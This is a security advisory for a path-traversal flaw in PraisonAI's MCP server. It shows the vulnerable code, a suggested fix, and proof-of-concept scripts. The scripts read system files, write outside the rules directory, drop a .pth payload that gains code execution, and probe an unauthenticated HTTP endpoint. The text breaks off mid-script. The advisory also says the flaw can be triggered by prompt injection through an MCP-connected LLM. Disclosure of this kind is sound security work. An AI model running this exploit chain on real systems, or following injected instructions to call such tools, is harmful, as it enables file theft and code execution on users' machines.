CVE-2026-44336 — Vulnerability in praisonai — CVE Details

## Summary PraisonAI's MCP (Model Context Protocol) server (`praisonai mcp serve`) registers four file-handling tools by default — `praisonai.rules.create`, `praisonai.rules.show`, `praisonai.rules.delete`, and `praisonai.workflow.show`. Each accepts a path or filename string from MCP `tools/call` arguments and joins it onto `~/.praison/rules/` (or, for `workflow.show`, accepts an absolute path) **with no containment check**. The JSON-RPC dispatcher passes `params["arguments"]` blind to each handler via `**kwargs` without validating against the advertised input schema. By setting `rule_name="../../<some-path>"` an attacker walks out of the rules directory and writes any file the running user can write. Dropping a Python `.pth` file into the user site-packages directory escalates this primitive to **arbitrary code execution in any subsequent Python process the user spawns** — the next `praisonai` CLI invocation, an IDE script run, the user's `python` REPL, or any background Python service. The same primitive is reachable from: - An MCP-connected LLM (Claude Desktop, Cursor, Continue.dev, Claude Code) whose context is poisoned by attacker-controlled web content / documents / emails — **no operator click required beyond ordinary "ask the LLM to summarise this page" usage**. - `praisonai mcp serve --transport http-stream` with no `--api-key` (default), reachable from any local process / DNS-rebound browser tab / container neighbour sharing loopback. - Stdio MCP from any prompt-injection vector that reaches the connected LLM. No operator misconfiguration is required. No env var, flag, or config switch disables the vulnerable handlers. --- ## Details ### 1. The dispatcher accepts unvalidated kwargs `src/praisonai/praisonai/mcp_server/server.py:281-298`: ```python async def _handle_tools_call(self, params: Dict[str, Any]) -> Dict[str, Any]: """Handle tools/call request.""" tool_name = params.get("name") arguments = params.get("arguments", {}) if not tool_name: raise ValueError("Tool name required") tool = self._tool_registry.get(tool_name) if tool is None: raise ValueError(f"Tool not found: {tool_name}") # Execute tool try: if asyncio.iscoroutinefunction(tool.handler): result = await tool.handler(**arguments) # ← no schema enforcement else: result = tool.handler(**arguments) ``` `tool.input_schema` is built reflectively from the handler signature in `registry.py:320-376` and surfaced in `tools/list` responses — but it is **never enforced** before dispatch. Whatever JSON shape the MCP client (or an LLM under prompt injection) sends becomes a `**kwargs` call. ### 2. The four registered handlers have no containment `src/praisonai/praisonai/mcp_server/adapters/cli_tools.py`: ```python # line 116-128 — rules.create — primary write primitive @register_tool("praisonai.rules.create") def rules_create(rule_name: str, content: str) -> str: """Create a new rule.""" try: import os rules_dir = os.path.expanduser("~/.praison/rules") os.makedirs(rules_dir, exist_ok=True) rule_path = os.path.join(rules_dir, rule_name) # ← no realpath/containment with open(rule_path, 'w') as f: f.write(content) return f"Rule created: {rule_name}" except Exception as e: return f"Error: {e}" # line 102-114 — rules.show — read primitive (f-string interpolation, same vuln class) @register_tool("praisonai.rules.show") def rules_show(rule_name: str) -> str: """Show a specific rule.""" try: import os rule_path = os.path.expanduser(f"~/.praison/rules/{rule_name}") # ← `..` works if not os.path.exists(rule_path): return f"Rule not found: {rule_name}" with open(rule_path, 'r') as f: content = f.read() return content except Exception as e: return f"Error: {e}" # line 130-141 — rules.delete — delete primitive @register_tool("praisonai.rules.delete") def rules_delete(rule_name: str) -> str: """Delete a rule.""" try: import os rule_path = os.path.expanduser(f"~/.praison/rules/{rule_name}") # ← same pattern if not os.path.exists(rule_path): return f"Rule not found: {rule_name}" os.remove(rule_path) return f"Rule deleted: {rule_name}" except Exception as e: return f"Error: {e}" # line 63-73 — workflow.show — absolute-path read primitive (no traversal needed) @register_tool("praisonai.workflow.show") def workflow_show(file_path: str) -> str: """Show workflow configuration.""" try: with open(file_path, 'r') as f: # ← absolute path, no validation content = f.read() return content except FileNotFoundError: return f"File not found: {file_path}" except Exception as e: return f"Error: {e}" ``` `os.path.join(rules_dir, "../../somewhere")` and `os.path.expanduser(f"~/.praison/rules/../../somewhere")` both resolve `..` segments at `open()` time, so the on-disk effect escapes the rules directory. `workflow.show` does not need traversal at all — it `open()`s an absolute path the LLM supplied. ### 3. Default registration ships these unconditionally `src/praisonai/praisonai/mcp_server/cli.py:216-219` (`cmd_serve`): ```python from .adapters import register_all register_all() ``` `src/praisonai/praisonai/mcp_server/adapters/__init__.py:33-39`: ```python def _register_all(): register_all_tools() register_extended_capability_tools() register_cli_tools() # ← rules.create / rules.show / rules.delete / workflow.show register_mcp_resources() register_mcp_prompts() ``` There is no flag, env var, or config switch that disables the file primitives. `praisonai mcp serve` registers them on every startup. ### 4. HTTP-stream transport defaults to no authentication `src/praisonai/praisonai/mcp_server/cli.py:184`: ```python parser.add_argument("--api-key", default=None) ``` The auth check at `mcp_server/transports/http_stream.py:191-198` is wrapped in `if self.api_key:` — `None` skips the entire block. Default config: `praisonai mcp serve --transport http-stream` binds `127.0.0.1:8080/mcp` unauthenticated. ### 5. Code-execution escalation via Python `.pth` CPython's `Lib/site.py` (`addsitedir` / `addpackage`) imports lines starting with `import` from every `.pth` file present in `site.getsitepackages()` and `site.getusersitepackages()` at every interpreter startup. The user site-packages directory is always writable without elevation. A single `.pth` file containing `import os; os.system("...")` turns the path-traversal write primitive into RCE on the next Python interpreter the user starts — including the user's own `python` REPL, the next `praisonai` CLI command, IDE script launchers, and any background Python service. --- ## Suggested fix 1. **Containment in every cli_tools handler.** Replace bare `os.path.join` / f-string interpolation with explicit prefix validation: ```python import re from pathlib import Path if not re.fullmatch(r"[A-Za-z0-9._-]+", rule_name): return "Error: invalid rule name" rules_dir = Path(os.path.expanduser("~/.praison/rules")).resolve() rule_path = (rules_dir / rule_name).resolve() if not str(rule_path).startswith(str(rules_dir) + os.sep): return "Error: rule_name escapes rules directory" ``` Apply identically to `praisonai.rules.create`, `rules.show`, `rules.delete`, `workflow.validate`. For `workflow.show`, restrict `file_path` to a designated workflow directory and reject absolute paths or any value containing `..`. 2. **Schema enforcement in the dispatcher.** Validate `params["arguments"]` against `tool.input_schema` (a JSON-Schema validator such as `jsonschema`) before `tool.handler(**arguments)`. Reject unknown properties, type mismatches, missing required fields. Return JSON-RPC `-32602 Invalid params`. 3. **Reduce the default tool surface.** Move `rules.*` and `workflow.show` behind an explicit `--enable-fs-tools` opt-in. The `register_all` helper should only register read-only safe tools by default. 4. **Require auth on non-loopback HTTP-stream binds.** `praisonai mcp serve --transport http-stream` should refuse to start with `host != 127.0.0.1` if `--api-key` is unset (mirror the gateway's `assert_external_bind_safe` from `src/praisonai/praisonai/gateway/auth.py:23-54`). --- ## PoC Tested against the PraisonAI repository at HEAD as of 2026-05-02. Verified on Python 3.14 / Windows 11 with both packages installed in editable mode. Each invocation of the RCE chain produced a fresh PID for the spawned Python process — confirmed across four successive runs (PIDs 8172, 23412, 10016, 17912) — proving the payload genuinely runs in a new interpreter, not residual state. ### Reproduction prerequisites - Python ≥ 3.10 (3.14 used during verification). - A clean clone of the PraisonAI repository: ```sh git clone https://github.com/MervinPraison/PraisonAI.git cd PraisonAI ``` - Install both packages in editable mode: ```sh pip install -e src/praisonai-agents -e src/praisonai ``` - For PoC #3 (HTTP-stream variant): `pip install uvicorn starlette` (already pulled in by `praisonai[api]`). - All other PoCs run against the package source alone — no network server required. ### PoC 1 — In-process file primitives via MCP `tools/call` Confirms arbitrary file READ, path-traversal WRITE, and path-traversal READ-BACK without spinning up a network server. Equivalent to electerm's parser dry-run; runs against the package source alone. ```sh cat > /tmp/poc01_primitives.py <<'EOF' """PoC #1 — File primitives via MCP tools/call (in-process)""" import asyncio, json, os from praisonai.mcp_server.server import MCPServer from praisonai.mcp_server.adapters import register_all register_all() server = MCPServer() async def call(method, params, msg_id=1): msg = {"jsonrpc": "2.0", "id": msg_id, "method": method, "params": params} return await server.handle_message(msg) async def main(): await call("initialize", { "protocolVersion": "2025-11-25", "clientInfo": {"name": "poc", "version": "0"}, "capabilities": {}, }) # ── A1. Arbitrary file READ via workflow.show (absolute path, no traversal) ── candidates = ["/etc/passwd", "/etc/hostname", "C:/Windows/System32/drivers/etc/hosts"] target = next((c for c in candidates if os.path.exists(c)), None) if target: r = await call("tools/call", {"name": "praisonai.workflow.show", "arguments": {"file_path": target}}, 2) print(f"[A1] READ {target} (first 200 chars):") print(r["result"]["content"][0]["text"][:200]) # ── A2. Path-traversal WRITE via rules.create — escapes ~/.praison/rules/ ── import tempfile pwned = os.path.join(tempfile.gettempdir(), "PRAISONAI_PWNED.txt") rules_dir = os.path.expanduser("~/.praison/rules") rel = os.path.relpath(pwned, rules_dir) print(f"\n[A2] tools/call praisonai.rules.create rule_name={rel!r}") r = await call("tools/call", {"name": "praisonai.rules.create", "arguments": {"rule_name": rel, "content": "owned-by-poc"}}, 3) print(f"[A2] handler said: {r['result']['content'][0]['text']}") print(f"[A2] target path: {pwned}") print(f"[A2] exists: {os.path.exists(pwned)}, " f"contents: {open(pwned).read()!r}") # ── A3. Path-traversal READ via rules.show ── r = await call("tools/call", {"name": "praisonai.rules.show", "arguments": {"rule_name": rel}}, 4) print(f"\n[A3] READ-BACK via rules.show -> " f"{r['result']['content'][0]['text']!r}") # ── A4. Schema bypass: undeclared kwarg dispatched into handler ── print("\n[A4] sending undeclared kwarg to confirm dispatcher accepts it") r = await call("tools/call", {"name": "praisonai.workflow.show", "arguments": {"file_path": target, "undeclared_kwarg": "x"}}, 5) print(f"[A4] response (TypeError raised by handler, NOT by dispatcher): " f"{r['result']['content'][0]['text'][:120]}") # Cleanup if os.path.exists(pwned): os.unlink(pwned) asyncio.run(main()) EOF python /tmp/poc01_primitives.py ``` **Expected output (verbatim from this run):** ``` [A1] READ C:/Windows/System32/drivers/etc/hosts (first 200 chars): # Copyright (c) 1993-2009 Microsoft Corp. # # This is a sample HOSTS file used by Microsoft TCP/IP for Windows. ... [A2] tools/call praisonai.rules.create rule_name='..\\..\\AppData\\Local\\Temp\\PRAISONAI_PWNED.txt' [A2] handler said: Rule created: ..\..\AppData\Local\Temp\PRAISONAI_PWNED.txt [A2] target path: C:\Users\<user>\AppData\Local\Temp\PRAISONAI_PWNED.txt [A2] exists: True, contents: 'owned-by-poc' [A3] READ-BACK via rules.show -> 'owned-by-poc' [A4] sending undeclared kwarg to confirm dispatcher accepts it [A4] response (TypeError raised by handler, NOT by dispatcher): Error: register_cli_tools.<locals>.workflow_show() got an unexpected keyword argument 'undeclared_kwarg' ``` ### PoC 2 — RCE escalation via Python `.pth` Drops a Python `.pth` payload into the user site-packages directory using the path-traversal write from PoC #1, then spawns an unrelated `python -c "pass"` to demonstrate that the payload runs in a fresh interpreter. ```sh cat > /tmp/poc02_rce.py <<'EOF' """PoC #2 — RCE escalation via Python .pth injection. Walks the path-traversal write into user site-packages, drops a .pth that imports os and writes a marker on the next Python startup. Then spawns an unrelated python -c "pass" subprocess to prove the marker is created in a fresh interpreter, not in this one. """ import asyncio, os, site, subprocess, sys, tempfile, time from pathlib import Path from praisonai.mcp_server.server import MCPServer from praisonai.mcp_server.adapters import register_all register_all() server = MCPServer() # Marker file the .pth payload will write to MARKER = Path(tempfile.gettempdir()) / "praisonai_rce_marker.txt" if MARKER.exists(): MARKER.unlink() # Compose the .pth payload. site.py runs lines starting with `import` at # interpreter startup. We chain statements with `;` to keep it one line. PAYLOAD = ( "import sys, os, pathlib; " f"pathlib.Path(r'{MARKER}').write_text(" "f'PRAISONAI_RCE_OK pid={os.getpid()} args={sys.argv}')" "\n" ) # Target .pth in user site-packages (always writable without elevation) TARGET = Path(site.getusersitepackages()) / "praisonai_chain_a_rce.pth" TARGET.parent.mkdir(parents=True, exist_ok=True) # Compute the traversal payload — relative path from ~/.praison/rules to TARGET RULES = Path(os.path.expanduser("~/.praison/rules")).resolve() REL = os.path.relpath(TARGET, RULES) print(f"[*] target .pth file: {TARGET}") print(f"[*] traversal rule_name: {REL!r}") print(f"[*] payload (first 80 chars): {PAYLOAD[:80]}...") print() async def main(): # 1. Initialize MCP session await server.handle_message({"jsonrpc": "2.0", "id": 1, "method": "initialize", "params": {"protocolVersion": "2025-11-25", "clientInfo": {"name": "poc", "version": "0"}, "capabilities": {}}}) # 2. Drop the .pth via the unauthenticated rules.create handler r = await server.handle_message({"jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": {"name": "praisonai.rules.create", "arguments": {"rule_name": REL, "content": PAYLOAD}}}) print(f"[*] tools/call response: {r['result']['content'][0]['text']}") print(f"[*] .pth exists: {TARGET.exists()}") asyncio.run(main()) if not TARGET.exists(): print("FAIL: .pth was not written.", file=sys.stderr) sys.exit(1) # 3. Trigger: spawn a fresh, unrelated `python -c "pass"` subprocess. # site.py imports lines from every .pth at interpreter startup BEFORE # user code runs. print() print(f'[*] launching fresh `python -c "pass"` to trigger .pth ...') result = subprocess.run([sys.executable, "-c", "pass"], capture_output=True, text=True) print(f"[*] subprocess returncode: {result.returncode}") # 4. Verify side effect — marker file exists with a NEW pid deadline = time.time() + 3.0 while time.time() < deadline: if MARKER.exists() and MARKER.stat().st_size > 0: break time.sleep(0.05) if MARKER.exists(): contents = MARKER.read_text() print(f"[*] marker exists: True") print(f"[*] marker contents: {contents!r}") print() print("[+] RCE confirmed: arbitrary code executed in a fresh Python") print(" interpreter spawned AFTER the path-traversal write.") else: print("[-] marker not present — escape may have partially failed") sys.exit(1) # Clean up TARGET.unlink(missing_ok=True) MARKER.unlink(missing_ok=True) EOF python /tmp/poc02_rce.py ``` **Expected output (verbatim from this run):** ``` [*] target .pth file: C:\Users\<user>\AppData\Roaming\Python\Python314\site-packages\praisonai_chain_a_rce.pth [*] traversal rule_name: '..\\..\\AppData\\Roaming\\Python\\Python314\\site-packages\\praisonai_chain_a_rce.pth' [*] payload (first 80 chars): import sys, os, pathlib; pathlib.Path(r'C:\Users\<user>\AppData\Local\Temp\pra... [*] tools/call response: Rule created: ..\..\AppData\Roaming\Python\Python314\site-packages\praisonai_chain_a_rce.pth [*] .pth exists: True [*] launching fresh `python -c "pass"` to trigger .pth ... [*] subprocess returncode: 0 [*] marker exists: True [*] marker contents: "PRAISONAI_RCE_OK pid=17912 args=['-c']" [+] RCE confirmed: arbitrary code executed in a fresh Python interpreter spawned AFTER the path-traversal write. ``` The PID in the marker (17912) is the spawned `python -c "pass"` subprocess — not the writing process. Each successive run produces a different PID, proving fresh-interpreter semantics. ### PoC 3 — End-to-end HTTP-stream variant (default no-auth) Confirms a remote/local attacker who can dial loopback (DNS-rebound browser, container neighbour, malicious local app) reaches the unauth dispatcher and lands the same RCE. The server is started by directly invoking `HTTPStreamTransport` — the same code path that `praisonai mcp serve --transport http-stream` ultimately calls — to keep the PoC stable across CLI-routing changes. ```sh # 1) Server side (default config: host=127.0.0.1, port=8080, api_key=None). # The auth check at http_stream.py:191-198 is wrapped in `if self.api_key:` # so api_key=None disables it entirely. cat > /tmp/poc03_server.py <<'EOF' """HTTP-stream MCP server, default no-auth.""" import sys, io sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8') sys.stderr = io.TextIOWrapper(sys.stderr.buffer, encoding='utf-8') from praisonai.mcp_server.server import MCPServer from praisonai.mcp_server.adapters import register_all from praisonai.mcp_server.transports.http_stream import HTTPStreamTransport register_all() server = MCPServer(name='praisonai') transport = HTTPStreamTransport( server=server, host='127.0.0.1', port=8080, endpoint='/mcp', api_key=None, ) print('MCP server: 127.0.0.1:8080/mcp (no auth)', flush=True) transport.run() EOF python /tmp/poc03_server.py & SERVER_PID=$! sleep 5 # Sanity probe — anonymous initialize over HTTP curl -s -X POST http://127.0.0.1:8080/mcp -H 'Content-Type: application/json' \ -d '{"jsonrpc":"2.0","id":0,"method":"initialize","params":{"protocolVersion":"2025-11-25","clientInfo":{"name":"probe","version":"0"},"capabilities":{}}}' echo # 2) Attacker side — anyone on loopback (different terminal, malicious local # app, DNS-rebound browser tab, container neighbour sharing loopback): cat > /tmp/poc03_client.py <<'EOF' """